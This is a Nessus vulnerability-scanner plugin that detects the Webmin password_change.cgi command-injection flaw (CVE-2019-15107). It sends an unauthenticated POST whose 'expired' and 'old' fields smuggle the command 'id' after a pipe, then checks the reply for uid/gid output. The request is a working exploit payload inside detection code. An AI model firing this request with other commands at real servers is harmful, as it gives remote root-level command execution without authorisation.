The Webmin install hosted on the remote host is affected by a remote command execution vulnerability. A remote, unauthenticated attacker and exploit this to execute arbitrary commands on the remote host.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(127911);
script_version("1.7");
script_set_attribute(attribute:"plugin_modification_date", value:"2023/04/25");
script_cve_id("CVE-2019-15107", "CVE-2019-15231");
script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/04/15");
script_name(english:"Webmin 1.890 - 1.920 Remote Command Execution (CVE-2019-15107, CVE-2019-15231)");
script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a remote command execution vulnerability.");
script_set_attribute(attribute:"description", value:
"The Webmin install hosted on the remote host is affected by a remote command execution vulnerability. A remote,
unauthenticated attacker and exploit this to execute arbitrary commands on the remote host.");
script_set_attribute(attribute:"see_also", value:"http://www.webmin.com/changes.html");
script_set_attribute(attribute:"solution", value:
"Update to webmin 1.930 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-15107");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'Webmin password_change.cgi Backdoor');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2019/08/10");
script_set_attribute(attribute:"patch_publication_date", value:"2019/08/17");
script_set_attribute(attribute:"plugin_publication_date", value:"2019/08/19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:webmin:webmin");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2019-2023 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("webmin.nasl");
script_require_keys("www/webmin");
script_require_ports("Services/www", 10000);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");
app = 'Webmin';
port = get_http_port(default:10000, embedded: TRUE);
get_kb_item_or_exit('www/'+port+'/webmin');
install_url = build_url(port:port, qs:"/");
cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";
item = "/password_change.cgi";
data = "user=root&pam&expired=2|" + cmd + "&old=nessus|" + cmd + "&new1=nessus&new2=nessus";
res = http_send_recv3(
method:"POST",
port:port,
item:"/password_change.cgi",
add_headers:make_array('Referer', install_url),
data: data,
exit_on_fail: TRUE
);
if (res[2] !~ cmd_pat)
audit(AUDIT_LISTEN_NOT_VULN, app, port);
result = data_protection::sanitize_uid(output:res[2]);
report += 'The following request was sent to the server :\n\n';
report += crap(data:"=", length:70)+'\n';
report += http_last_sent_request()+'\n';
report += crap(data:"=", length:70)+'\n\n';
report += 'Which returned the following result : \n\n';
report += res[0] + res[1] + result;
security_report_v4(
port: port,
severity: SECURITY_HOLE,
extra: report
);